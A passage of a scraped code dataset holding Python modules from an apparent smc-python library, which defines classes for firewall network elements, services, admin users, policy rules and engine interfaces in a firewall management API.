comment else ''\n self.json = {\n 'name': name,\n 'ipv4_network': ip4_network,\n 'comment': comment }\n self._fetch_href('network')\n\nclass DomainName(SMCElement):\n \"\"\" Represents a domain name used as FQDN in policy\n Use this object to reference a DNS resolvable FQDN or\n partial domain name to be used in policy.\n \n :param name: name of domain, i.e. lepages.net, www.lepages.net\n \n Create a domain based network element::\n \n DomainName('mydomain.net').create()\n \"\"\"\n typeof = 'domain_name'\n \n def __init__(self, name, comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n self.json = {\n 'name': name,\n 'comment': comment}\n self._fetch_href('domain_name')\n\nclass TCPService(SMCElement):\n \"\"\" Represents a TCP based service in SMC\n TCP Service can use a range of ports or single port. If using\n single port, set only min_dst_port. If using range, set both\n min_dst_port and max_dst_port. \n \n :param name: name of tcp service\n :param min_dst_port: minimum destination port value\n :type min_dst_port: int\n :param max_dst_port: maximum destination port value\n :type max_dst_port: int\n \n Create a TCP Service for port 5000::\n \n TCPService('tcpservice', 5000, comment='my service').create()\n \"\"\"\n typeof = 'tcp_service'\n \n def __init__(self, name, min_dst_port, max_dst_port=None,\n comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n max_dst_port = max_dst_port if max_dst_port is not None else ''\n self.json = {\n 'name': name,\n 'min_dst_port': min_dst_port,\n 'max_dst_port': max_dst_port,\n 'comment': comment }\n self._fetch_href('tcp_service')\n\nclass UDPService(SMCElement):\n \"\"\" Represents a UDP based service in SMC\n TCP Service can use a range of ports or single port. If using\n single port, set only min_dst_port. If using range, set both\n min_dst_port and max_dst_port. \n \n :param name: name of udp service\n :param min_dst_port: minimum destination port value\n :type min_dst_port: int\n :param max_dst_port: maximum destination port value\n :type max_dst_port: int\n \n Create a UDP Service for port range 5000-5005::\n \n UDPService('udpservice', 5000, 5005).create()\n \"\"\"\n typeof = 'udp_service'\n \n def __init__(self, name, min_dst_port, max_dst_port=None,\n comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n max_dst_port = max_dst_port if max_dst_port is not None else ''\n self.json = {\n 'name': name,\n 'min_dst_port': min_dst_port,\n 'max_dst_port': max_dst_port,\n 'comment': comment }\n self._fetch_href('udp_service')\n \nclass IPService(SMCElement):\n \"\"\" Represents an IP-Proto service in SMC\n IP Service is represented by a protocol number. This will display\n in the SMC under Services -> IP-Proto. It may also show up in \n Services -> With Protocol if the protocol is tied to a Protocol Agent.\n \n :param name: name of ip-service\n :param protocol_number: ip proto number for this service\n :type protocol_number: int\n \n Create an IP Service for protocol 93 (AX.25)::\n \n IPService('ipservice', 93).create()\n \"\"\"\n typeof = 'ip_service'\n \n def __init__(self, name, protocol_number, comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n self.json = {\n 'name': name,\n 'protocol_number': protocol_number,\n 'comment': comment }\n self._fetch_href('ip_service')\n\nclass EthernetService(SMCElement): #TODO: Error 500 Database problem\n \"\"\" Represents an ethernet based service in SMC\n Ethernet service only supports adding 'eth'2 frame type. \n Ethertype should be the ethernet2 ethertype code in decimal \n (hex to decimal) format \n \"\"\"\n typeof = 'ethernet_service'\n \n def __init__(self, name, frame_type='eth2', ethertype=None, comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n self.json = {\n 'frame_type': frame_type,\n 'name': name,\n 'value1': ethertype,\n 'comment': comment }\n self._fetch_href('ethernet_service')\n\nclass Protocol(SMCElement):\n \"\"\" Represents a protocol module in SMC \n Add is not possible \n \"\"\"\n typeof = 'protocol'\n \n def __init__(self):\n SMCElement.__init__(self)\n pass\n\nclass ICMPService(SMCElement):\n \"\"\" Represents an ICMP Service in SMC\n Use the RFC icmp type and code fields to set values. ICMP\n type is required, icmp code is optional but will make the service\n more specific if type codes exist.\n \n :param name: name of service\n :param icmp_type: icmp type field\n :type icmp_type: int\n :param icmp_code: icmp type code\n :type icmp_code: int\n \n Create an ICMP service using type 3, code 7 (Dest. Unreachable)::\n \n ICMPService('api-icmp', 3, 7).create()\n \"\"\"\n typeof = 'icmp_service'\n \n def __init__(self, name, icmp_type, icmp_code=None, comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n icmp_code = icmp_code if icmp_code else ''\n self.json = {\n 'name': name,\n 'icmp_type': icmp_type,\n 'icmp_code': icmp_code,\n 'comment': comment }\n self._fetch_href('icmp_service')\n\nclass ICMPIPv6Service(SMCElement):\n \"\"\" Represents an ICMPv6 Service type in SMC\n Set the icmp type field at minimum. At time of writing the\n icmp code fields were all 0.\n \n :param name: name of service\n :param icmp_type: ipv6 icmp type field\n :type icmp_type: int\n \n Create an ICMPv6 service for Neighbor Advertisement Message::\n \n ICMPIPv6Service('api-Neighbor Advertisement Message', 139).create()\n \"\"\"\n typeof = 'icmp_ipv6_service'\n \n def __init__(self, name, icmp_type, comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n self.json = {\n 'name': name,\n 'icmp_type': icmp_type,\n 'comment': comment }\n self._fetch_href('icmp_ipv6_service')\n\nclass ServiceGroup(SMCElement):\n \"\"\" Represents a service group in SMC. Used for grouping\n objects by service. Services can be \"mixed\" TCP/UDP/ICMP/\n IPService, Protocol or other Service Groups.\n Element is an href to the location of the resource.\n \n :param name: name of service group\n :param element: list of elements to add to service group\n :type element: list\n \n Create a TCP and UDP Service and add to ServiceGroup::\n \n tcp1 = TCPService('api-tcp1', 5000).create()\n udp1 = UDPService('api-udp1', 5001).create()\n ServiceGroup('servicegroup', element=[tcp1.href, udp1.href]).create()\n \"\"\"\n typeof = 'service_group'\n \n def __init__(self, name, element=None, comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n elements = []\n if element:\n elements.extend(element)\n self.json = {\n 'name': name,\n 'element': elements,\n 'comment': comment }\n self._fetch_href('service_group')\n \nclass TCPServiceGroup(SMCElement):\n \"\"\" Represents a TCP Service group\n \n :param name: name of tcp service group\n :param element: tcp services by href\n :type element: list\n \n Create TCP Services and add to TCPServiceGroup::\n \n tcp1 = TCPService('api-tcp1', 5000).create()\n tcp2 = TCPService('api-tcp2', 5001).create()\n ServiceGroup('servicegroup', element=[tcp1.href, tcp2.href]).create()\n \"\"\" \n typeof = 'tcp_service_group'\n \n def __init__(self, name, element=None, comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n elements = []\n if element:\n elements.extend(element)\n self.json = {\n 'name': name,\n 'element': elements,\n 'comment': comment }\n self._fetch_href('tcp_service_group')\n\nclass UDPServiceGroup(SMCElement):\n \"\"\" UDP Service Group \n Used for storing UDP Services or UDP Service Groups.\n \n :param name: name of service group\n :param element: UDP services or service group by reference\n :type element: list\n \n Create two UDP Services and add to UDP service group::\n \n udp1 = UDPService('udp-svc1', 5000).create()\n udp2 = UDPService('udp-svc2', 5001).create()\n UDPServiceGroup('udpsvcgroup', element=[udp1.href, udp2.href]).create()\n \"\"\"\n typeof = 'udp_service_group'\n \n def __init__(self, name, element=None, comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n elements = []\n if element:\n elements.extend(element)\n self.json = {\n 'name': name,\n 'element': elements,\n 'comment': comment }\n self._fetch_href('udp_service_group')\n \nclass IPServiceGroup(SMCElement):\n \"\"\" IP Service Group\n Used for storing IP Services or IP Service Groups\n \n :param name: name of service group\n :param element: IP services or IP service groups by ref\n :type element: list\n \"\"\"\n typeof = 'ip_service_group'\n \n def __init__(self, name, element=None, comment=None):\n SMCElement.__init__(self)\n comment = comment if comment else ''\n elements = []\n if element:\n elements.extend(element)\n self.json = {\n 'name': name,\n 'element': elements,\n 'comment': comment }\n self._fetch_href('ip_service_group')\n\nclass Zone(SMCElement):\n \"\"\" Class representing a zone used on physical interfaces and\n used in access control policy rules\n \n :param zone: name of zone\n \n Create a zone::\n \n Zone('myzone').create()\n \"\"\"\n typeof = 'interface_zone'\n \n def __init__(self, zone):\n SMCElement.__init__(self)\n self.json = {'name': zone}\n self._fetch_href('interface_zone') \n \nclass LogicalInterface(SMCElement):\n \"\"\"\n Logical interface is used on either inline or capture interfaces. If an\n engine has both inline and capture interfaces (L2 Firewall or IPS role),\n then you must use a unique Logical Interface on the interface type.\n \n :param name: name of logical interface\n \n Create a logical interface::\n \n LogicalInterface('mylogical_interface').create() \n \"\"\"\n typeof = 'logical_interface'\n \n def __init__(self, name, comment=None):\n SMCElement.__init__(self) \n comment = comment if comment else ''\n self.json = { \n 'name': name,\n 'comment': comment }\n self._fetch_href('logical_interface') \n\nclass AdminUser(SMCElement):\n \"\"\" Represents an Adminitrator account on the SMC\n Use the constructor to create the user. \n \n :param name: name of admin\n :param local_admin: should be local admin on specified engines\n :type local_admin: boolean\n :param allow_sudo: allow sudo on specified engines\n :type allow_sudo: boolean\n :param superuser: is a super user (no restrictions) in SMC\n :type superuser: boolean\n :param admin_domain: reference to admin domain, shared by default\n :param engine_target: ref to engines for local admin access\n :type engine_target: list\n \n If modifications are required after, call \n :py:func:`smc.elements.element.SMCElement.modify` then update::\n \n admin = AdminUser.modify('myadmin')\n admin.change_password('new password')\n admin.update()\n \"\"\"\n def __init__(self, name, local_admin=False, allow_sudo=False, \n superuser=False, admin_domain=None, \n engine_target=None):\n SMCElement.__init__(self)\n engines = []\n if engine_target:\n engines.extend(engine_target)\n self.json = {\n 'allow_sudo': allow_sudo,\n 'enabled': True,\n 'engine_target': engines,\n 'local_admin': True,\n 'name': name,\n 'superuser': superuser }\n self._fetch_href('admin_user') \n \n def change_password(self, password):\n \"\"\" Change admin password \n \n :method: PUT\n :param password: new password\n :return: SMCResult\n \"\"\"\n self._reset_href('change_password')\n self.params = {'password': password}\n return self.update()\n \n def change_engine_password(self, password):\n \"\"\" Change Engine password for engines on allowed\n list.\n \n :method: PUT\n :param password: password for engine level\n :return: SMCResult\n \"\"\"\n self._reset_href('change_engine_password')\n self.params = {'password': password}\n pass\n \n def enable_disable(self):\n \"\"\" Toggle enable and disable of administrator account\n \n :method: PUT\n :return: SMCResult\n \"\"\"\n self._reset_href('enable_disable')\n return self.update()\n \n def export(self, filename='admin.zip'): #TODO: This fails, SMC error\n \"\"\" Export the contents of this admin\n \n :param filename: Name of file to export to\n :return: SMCResult, href filled for success, msg for fail\n \"\"\"\n self._reset_href('export')\n self.params = {}\n element = self.create()\n try:\n href = next(smc.api.common.async_handler(\n element.json.get('follower'), \n display_msg=False)) \n except SMCOperationFailure, e:\n return e.smcresult\n else:\n return smc.api.common.fetch_content_as_file(href, filename)\n \n def _reset_href(self, action):\n links = self.json.get('link')\n for entry in links:\n if entry.get('rel') == action:\n self.href = entry.get('href')\n break\n\nclass Blacklist(SMCElement):\n \"\"\" Add a blacklist entry by source / destination\n Since blacklist can be applied at the engine level as well\n as system level, href will need to be set before calling create.\n \n :param src: source address, with cidr, i.e. 10.10.10.10/32\n :param dst: destination address with cidr\n :param duration: length of time to blacklist\n :type duration: int\n \"\"\"\n def __init__(self, src, dst, name=None, duration=3600):\n SMCElement.__init__(self)\n self.json = {\n 'name': name,\n 'duration': duration,\n 'end_point1': {'name': '', 'address_mode': 'address',\n 'ip_network': src},\n 'end_point2': {'name': '', 'address_mode': 'address',\n 'ip_network': dst}\n }\n\ndef zone_helper(zone):\n zone_ref = smc.actions.search.element_href_use_filter(zone, 'interface_zone')\n if zone_ref:\n return zone_ref\n else:\n return Zone(zone).create().href\n \ndef logical_intf_helper(interface):\n intf_ref = smc.actions.search.element_href_use_filter(interface, 'logical_interface')\n if intf_ref:\n return intf_ref\n else:\n return LogicalInterface(interface).create().href" }, { "alpha_fraction": 0.57023024559021, "alphanum_fraction": 0.5779605507850647, "avg_line_length": 34.12138748168945, "blob_id": "e028fb6bd36941fc068ac7f3ec7ae961d86fbd4f", "content_id": "aa66bc9725af7dc61cebc36e11bd7b87f2445040", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6080, "license_type": "no_license", "max_line_length": 89, "num_lines": 173, "path": "/smc/elements/rule.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\"\nRule module that handles rule creation and provides a class factory to dispatch\nthe proper class based on the rule type required (IPv4Rule, IPS Rule, Inspection Rule,\nFile Filtering Rule, etc)\n\nThis is not called directly, but is linked to the Policy class and loading the proper\npolicy.\n\nHere is an example of how this is referenced and used::\n\n policy = FirewallPolicy('smcpython').load()\n policy.ipv4_rule.create(name='myrule', \n sources=mysources,\n destinations=mydestinations, \n services=myservices, \n action='permit')\n \nFor rule creation, refer to each 'create' method based on the rule type to understand the\nparameters required. However, each class will have a property to refer to a rule class \nobject for creation.\n\"\"\"\nimport smc.api.common\nimport smc.actions.search as search\nfrom smc.elements.element import SMCElement\n\nclass Rule(object):\n \"\"\"\n Rule class providing a generic container for any rule type\n along with specific actions such as creating, modifying or\n deleting.\n This base class will hold a limited number of attributes after\n initialization.\n \n Attributes:\n \n :ivar href: href location for the rule\n :ivar name: name of rule\n :ivar type: type of rule\n \n To get the actual rule content, use :py:func:`describe_rule` which\n will retrieve the rule using the rule href and return the correct\n object type.\n \n For example, load a firewall policy and describe all rules::\n \n policy = FirewallPolicy('newpolicy').load()\n for rule in policy.fw_ipv4_access_rules:\n print rule #Is a Rule object\n print rule.describe_rule() #Is an IPv4Rule object\n \"\"\"\n def __init__(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n def describe_rule(self):\n if self.type == IPv4Rule.typeof:\n return IPv4Rule(\n **search.element_by_href_as_json(self.href))\n \n def modify_attribute(self, **kwargs):\n pass\n \n def delete(self):\n return smc.api.common.delete(self.href)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, \n 'name={}'.format(self.name))\n \nclass IPv4Rule(object):\n \"\"\" \n Represents an IPv4 Rule in SMC Policy\n Each rule type may have different requirements, although some fields are\n common across all policies such as source and destination. This class is used\n when the policy to create or delete is an ipv4 rule.\n \n Use refresh() to re-retrieve a current list of rules, especially if\n operations need to be performed after adding or removing rules\n \n Attributes:\n \n :ivar name\n :ivar is_disabled: True|False\n :ivar destinations\n :ivar sources\n :ivar services\n :ivar action \n \"\"\"\n typeof = 'fw_ipv4_access_rule'\n \n def __init__(self, **kwargs):\n self.name = None\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n def create(self, name, sources, destinations, services, action='', \n is_disabled=False):\n \"\"\" Create a new rule\n \n Sources and Destinations can be one of any valid network element types defined\n in :py:class:smc.elements.element`. \n \n source=['http://1.1.1.1:8082/elements/network/myelement',\n 'http://1.1.1.1:8082/elements/host/myhost'], etc\n \n Services have a similar syntax, provide a list of the href's for the services:\n \n services=['http://1.1.1.1/8082/elements/tcp_service/mytcpservice',\n 'http://1.1.1.1/8082/elements/udp_server/myudpservice'], etc\n \n You can obtain the href for the network and service elements by using the \n :py:mod:`smc.elements.collections` describe functions such as::\n \n describe_hosts(name=['host1', 'host2'], exact_match=False)\n describe_tcp_services(name=['HTTP', 'HTTPS', 'SSH'])\n \n Sources / Destinations and Services can also take the string value 'any' to\n allow all. For example::\n \n sources=['any']\n \n :param name: name of rule\n :param list source: source/s for rule, names will be looked up to find href\n :param list destination: destinations, names will be looked up to find href\n :param list service: service/s, names will be looked up to find href\n :param str action: allow|continue|discard|refuse|use vpn\n :return: SMCResult\n \"\"\"\n rule_values = { \n 'name': name,\n 'action': {},\n 'sources': {'src': []},\n 'destinations': {'dst': []},\n 'services': {'service': []},\n 'is_disabled': is_disabled }\n \n rule_values.update(action={'action': action,\n 'connection_tracking_options':{}})\n\n if 'any' in sources:\n rule_values.update(sources={'any': True})\n else:\n rule_values.update(sources={'src': sources})\n \n if 'any' in destinations:\n rule_values.update(destinations={'any': True})\n else:\n rule_values.update(destinations={'dst': destinations})\n \n if 'any' in services:\n rule_values.update(services={'any': True})\n else:\n rule_values.update(services={'service': services})\n \n return SMCElement(href=self.href,\n json=rule_values).create()\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, \n 'name={}'.format(self.name))\n \n \nclass IPv4NATRule(object):\n def __init__(self):\n pass\n \nclass IPv6Rule(object):\n def __init__(self):\n pass\n \nclass IPv6NATRule(object):\n def __init__(self):\n pass\n " }, { "alpha_fraction": 0.579147219657898, "alphanum_fraction": 0.5832099318504333, "avg_line_length": 39.94712448120117, "blob_id": "3bd02fa81a1e76ab2c8376474a445e5e46e63f81", "content_id": "34e8fff7e92d8578802adcb030da1cd1830b9e66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26337, "license_type": "no_license", "max_line_length": 95, "num_lines": 643, "path": "/smc/elements/interfaces.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "from copy import deepcopy\n\nclass NodeInterface(object):\n \"\"\"\n Node Interface\n Node dedicated interface (NDI) is used on specific engine types and represents an interface\n used for management (ips and layer 2 engines), or non-traffic type interfaces. For \n Layer 2 Firewall/IPS these are used as individual interfaces. On clusters, these are\n used to define the node specific address for each node member (wrapped in a cluster\n virtual interface).\n \n :param int interfaceid: interface id\n :param str address: ip address of the interface\n :param str network_value: network/netmask, i.e. x.x.x.x/24\n :param int nodeid: for clusters, used to identify the node number\n \"\"\"\n name = 'node_interface'\n \n def __init__(self, interface_id=None, address=None, network_value=None,\n nodeid=1, **kwargs):\n self.address = address\n self.network_value = network_value\n self.nicid = interface_id\n self.auth_request = False\n self.backup_heartbeat = False\n self.nodeid = nodeid\n self.outgoing = False\n self.primary_mgt = False\n self.primary_heartbeat = False\n for key, value in kwargs.items():\n setattr(self, key, value) \n \n def modify_attribute(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'interface_id={}'.format(\\\n self.interface_id))\nclass SingleNodeInterface(object):\n \"\"\"\n SingleNodeInterface\n This interface is used by single node Layer 3 Firewalls. This type of interface\n can be a management interface as well as a non-management routed interface.\n \n :param int interface_id: interface id\n :param str address: address of this interface\n :param str network_value: network of this interface in cidr x.x.x.x/24\n :param int nodeid: if a cluster, identifies which node this is for\n \"\"\"\n name = 'single_node_interface'\n\n def __init__(self, interface_id=None, address=None, network_value=None,\n nodeid=1, **kwargs):\n self.address = address\n self.auth_request = False\n self.auth_request_source = False\n self.primary_heartbeat = False\n self.backup_heartbeat = False\n self.backup_mgt = False\n self.dynamic = False\n self.network_value = network_value\n self.nicid = interface_id\n self.nodeid = nodeid\n self.outgoing = False\n self.primary_mgt = False\n for key, value in kwargs.items():\n setattr(self, key, value)\n\n def modify_attribute(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'interface_id={}'.format(\\\n self.interface_id))\nclass ClusterVirtualInterface(object):\n \"\"\"\n ClusterVirtualInterface\n These interfaces (CVI) are used on cluster devices and applied to layer 3\n interfaces. They specify a 'VIP' (or shared IP) to be used for traffic load\n balancing or high availability. Each engine will still also have a 'node' \n interface for communication to/from the engine itself.\n \n :param str address: address of CVI\n :param str network_value: network for CVI\n :param int nicid: nic id to use for physical interface\n \"\"\"\n name = 'cluster_virtual_interface'\n \n def __init__(self, interface_id=None, address=None, \n network_value=None, **kwargs):\n self.address = address\n self.network_value = network_value\n self.nicid = interface_id\n self.auth_request = False\n for key, value in kwargs.items():\n setattr(self, key, value)\n \n def modify_attribute(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'interface_id={}'.format(\\\n self.interface_id))\nclass InlineInterface(object):\n \"\"\"\n InlineInterface\n This interface type is used on layer 2 or IPS related engines. It requires\n that you specify two interfaces to be part of the inline pair. These interfaces\n do not need to be sequential. It is also possible to add VLANs and zones to the\n inline interfaces.\n \n See :py:class:`PhysicalInterface` for methods related to adding VLANs\n \n :param str interface_id: two interfaces, i.e. '1-2', '4-5', '7-10', etc\n :param str logical_ref: logical interface reference\n :param str zone_ref: reference to zone, set on second inline pair\n \n The logical interface reference needs to be unique for inline and capture interfaces\n when they are applied on the same engine.\n \"\"\"\n name = 'inline_interface'\n \n def __init__(self, interface_id=None, logical_interface_ref=None, \n zone_ref=None, **kwargs):\n self.failure_mode = 'normal'\n self.inspect_unspecified_vlans = True\n self.nicid = interface_id\n self.logical_interface_ref = logical_interface_ref\n self.zone_ref = zone_ref\n for key, value in kwargs.items():\n setattr(self, key, value)\n \n def add_vlan(self, vlan_id):\n try:\n first, last = self.nicid.split('-')\n self.nicid = first + '.' + str(vlan_id) + '-' + last + '.' + str(vlan_id)\n except ValueError:\n pass\n \n def modify_attribute(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'interface_id={}'.format(\\\n self.interface_id))\nclass CaptureInterface(object):\n \"\"\" \n Capture Interface (SPAN)\n This is a single physical interface type that can be installed on either\n layer 2 or IPS engine roles. It enables the NGFW to capture traffic on\n the wire without actually blocking it (although blocking is possible).\n \n :param int interfaceid: the interface id\n :param str logical_ref: logical interface reference, must be unique from \n inline intfs\n \"\"\"\n name = 'capture_interface'\n \n def __init__(self, interface_id=None, logical_interface_ref=None, **kwargs):\n self.inspect_unspecified_vlans = True\n self.logical_interface_ref = logical_interface_ref\n self.nicid = interface_id\n for key, value in kwargs.items():\n setattr(self, key, value)\n \n def modify_attribute(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'interface_id={}'.format(\\\n self.interface_id))\nclass DHCPInterface(object):\n \"\"\"\n DHCP Interface\n This interface is typically applied on remote devices that require\n a dynamic IP address. The dynamic index specifies which interface\n index is used for the DHCP interface. This would be important if you had\n multiple DHCP interfaces on a single engine.\n The interface ID identifies which physical interface DHCP will be associated\n with.\n \n .. note:: When the DHCP interface will be the primary mgt interface, you must\n create a secondary physical interface and set auth_request=True. \n \n :param interface_id: interface to use for DHCP\n :param dynamic_index: DHCP index (when using multiple DHCP interfaces \n \"\"\"\n name = 'single_node_interface'\n \n def __init__(self, interface_id=None, dynamic_index=1, nodeid=1,\n **kwargs):\n self.auth_request = False\n self.outgoing = False\n self.dynamic = True\n self.dynamic_index = dynamic_index\n self.nicid = interface_id\n self.nodeid = nodeid\n self.primary_mgt = False\n self.automatic_default_route = False\n self.reverse_connection = False\n for key, value in kwargs.items():\n setattr(self, key, value)\n\n def modify_attribute(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'interface_id={}'.format(\\\n self.interface_id))\n \nclass VlanInterface(object):\n \"\"\" \n VLAN Interface \n These interfaces can be applied on all engine types but will be bound to\n being on a physical interface. VLAN's can be applied to layer 3 routed\n interfaces as well as inline interfaces.\n \n :param int interface_id: id of interface to assign VLAN to\n :param int vlan_id: ID of vlan\n :param int virtual_mapping: The interface ID for the virtual engine. Virtual engine\n interface mapping starts numbering at 0 by default, which means you must\n account for interfaces used by master engine\n :param str virtual_resource_name: Name of virtual resource for this VLAN if a VE\n \"\"\"\n def __init__(self, interface_id=None, vlan_id=None,\n virtual_mapping=None,\n virtual_resource_name=None,\n zone_ref=None, **kwargs):\n self.interface_id = str(interface_id) + '.' + str(vlan_id)\n self.virtual_mapping = virtual_mapping\n self.virtual_resource_name = virtual_resource_name\n self.interfaces = []\n self.zone_ref = zone_ref\n for key, value in kwargs.items():\n setattr(self, key, value)\n\nclass TunnelInterface(object):\n def __init__(self, interface_id=None, **kwargs):\n self.interface_id = None\n self.interfaces = []\n for key, value in kwargs.items():\n setattr(self, key, value)\n \n def add(self, address, network_value, nicid):\n pass\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'interface_id={}'.format(\\\n self.interface_id))\n \nclass PhysicalInterface(object):\n \"\"\"\n Physical Interfaces on NGFW. This represents the following base configuration for\n the following interface types:\n * Single Node Interface\n * Node Interface\n * Capture Interface\n * Inline Interface\n * Cluster Virtual Interface\n * Virtual Physical Interface (used on Virtual Engines)\n * DHCP Interface\n \n This should be used to add interfaces to an engine after it has been created.\n First get the engine context by loading the engine then get the engine property for \n physical interface::\n \n engine = Engine('myfw').load()\n engine.physical_interface.add_single_node_interface(.....)\n engine.physical_interface.add(5) #single unconfigured physical interface\n engine.physical_interface.add_node_interface(....)\n engine.physical_interface.add_inline_interface('5-6', ....)\n \"\"\"\n name = 'physical_interface'\n \n def __init__(self, interface_id=None, **kwargs):\n self.data = {\n 'interface_id': interface_id,\n 'interfaces': [],\n 'vlanInterfaces': [],\n 'zone_ref': None }\n \n for key, value in kwargs.items():\n if key == 'callback':\n self.callback = value\n else:\n self.data.update({key: value})\n \n def add(self, interface_id):\n \"\"\" \n Add single physical interface with interface_id. Use other methods\n to fully add an interface configuration based on engine type\n \n :param int interface_id: interface id\n :return: SMCResult\n \"\"\"\n self.data.update(interface_id=interface_id)\n return self._make()\n \n def add_single_node_interface(self, interface_id, address, network_value, \n zone_ref=None, is_mgmt=False, **kwargs):\n \"\"\"\n Adds a single node interface to engine in context\n \n :param int interface_id: interface id\n :param str address: ip address\n :param str network_value: network cidr\n :param str zone_ref: zone reference\n :param boolean is_mgmt: should management be enabled\n :return: SMCResult\n \n See :py:class:`SingleNodeInterface` for more information \n \"\"\"\n intf = SingleNodeInterface(interface_id, address, network_value, **kwargs)\n if is_mgmt:\n intf.modify_attribute(auth_request=True, outgoing=True,\n primary_mgt=True)\n self.data.update(interface_id=interface_id,\n interfaces=[{SingleNodeInterface.name: vars(intf)}],\n zone_ref=zone_ref)\n return self._make()\n \n def add_node_interface(self, interface_id, address, network_value,\n zone_ref=None, nodeid=1, is_mgmt=False, **kwargs):\n \"\"\"\n Add a node interface to engine\n \n :param int interface_id: interface identifier\n :param str address: ip address\n :param str network_value: network cidr\n :param str zone_ref: zone reference\n :param int nodeid: node identifier, used for cluster nodes\n :param boolean is_mgmt: enable management\n :return: SMCResult\n \n See :py:class:`NodeInterface` for more information \n \"\"\"\n intf = NodeInterface(interface_id, address, network_value, nodeid=nodeid,\n **kwargs)\n if is_mgmt:\n intf.modify_attribute(primary_mgt=True, outgoing=True)\n self.data.update(interface_id=interface_id, \n interfaces=[{NodeInterface.name: vars(intf)}],\n zone_ref=zone_ref)\n return self._make()\n \n def add_capture_interface(self, interface_id, logical_interface_ref, \n zone_ref=None, **kwargs):\n \"\"\"\n Add a capture interface\n \n :param int interface_id: interface identifier\n :param str logical_interface_ref: logical interface reference\n :param str zone_ref: zone reference\n :return: SMCResult\n \n See :py:class:`CaptureInterface` for more information \n \"\"\"\n intf = CaptureInterface(interface_id, logical_interface_ref, **kwargs)\n self.data.update(interface_id=interface_id,\n interfaces=[{CaptureInterface.name: vars(intf)}],\n zone_ref=zone_ref)\n return self._make()\n \n def add_inline_interface(self, interface_id, logical_interface_ref, \n zone_ref_intf1=None,\n zone_ref_intf2=None):\n \"\"\"\n Add an inline interface pair\n \n :param int interface_id: interface identifier\n :param str logical_interface_ref: logical interface reference\n :param zone_ref_intf1: zone for inline interface 1\n :param zone_ref_intf2: zone for inline interface 2\n :return: SMCResult\n \n See :py:class:`InlineInterface` for more information \n \"\"\"\n inline_intf = InlineInterface(interface_id, \n logical_interface_ref=logical_interface_ref,\n zone_ref=zone_ref_intf2) #second intf zone\n self.data.update(interface_id=interface_id.split('-')[0],\n interfaces=[{InlineInterface.name: vars(inline_intf)}],\n zone_ref=zone_ref_intf1)\n return self._make()\n \n def add_dhcp_interface(self, interface_id, dynamic_index, \n primary_mgt=False, zone_ref=None, nodeid=1):\n \"\"\"\n Add a DHCP interface\n \n :param int interface_id: interface id\n :param int dynamic_index: index number for dhcp interface\n :param boolean primary_mgt: whether to make this primary mgt\n :param str zone_ref: zone reference for interface\n :param int nodeid: node identifier\n :return: SMCResult\n \n See :py:class:`DHCPInterface` for more information \n \"\"\" \n dhcp = DHCPInterface(interface_id,\n dynamic_index,\n nodeid=nodeid)\n if primary_mgt:\n dhcp.modify_attribute(primary_mgt=True,\n reverse_connection=True,\n automatic_default_route=True)\n self.data.update(interface_id=interface_id,\n interfaces=[{DHCPInterface.name: vars(dhcp)}],\n zone_ref=zone_ref)\n return self._make()\n \n def add_cluster_virtual_interface(self, interface_id, cluster_virtual, \n cluster_mask, \n macaddress, nodes, \n zone_ref=None, is_mgmt=False):\n \"\"\"\n Add cluster virtual interface\n \n :param int interface_id: physical interface identifier\n :param int cluster_virtual: CVI address (VIP) for this interface\n :param str cluster_mask: network cidr\n :param str macaddress: required mac address for this CVI\n :param list nodes: list of dictionary items identifying cluster nodes\n :param str zone_ref: if present, is promoted to top level physical interface\n :param boolean is_mgmt: default False, should this be management enabled\n :return: SMCResult\n \n Adding a cluster virtual to an existing engine would look like::\n \n physical.add_cluster_virtual_interface(\n cluster_virtual='5.5.5.1', \n cluster_mask='5.5.5.0/24', \n macaddress='02:03:03:03:03:03', \n nodes=[{'address':'5.5.5.2', 'network_value':'5.5.5.0/24', 'nodeid':1},\n {'address':'5.5.5.3', 'network_value':'5.5.5.0/24', 'nodeid':2},\n {'address':'5.5.5.4', 'network_value':'5.5.5.0/24', 'nodeid':3}],\n zone_ref=zone_helper('Heartbeat'))\n \"\"\"\n self.data.setdefault('cvi_mode', 'packetdispatch')\n self.data.setdefault('macaddress', macaddress)\n \n cvi = ClusterVirtualInterface(interface_id, cluster_virtual, cluster_mask)\n if is_mgmt:\n cvi.modify_attribute(auth_request=True)\n \n interfaces=[]\n interfaces.append({ClusterVirtualInterface.name: vars(cvi)})\n \n for node in nodes:\n intf = NodeInterface(interface_id=interface_id, \n address=node.get('address'), \n network_value=node.get('network_value'),\n nodeid=node.get('nodeid'))\n if is_mgmt:\n intf.modify_attribute(primary_mgt=True, 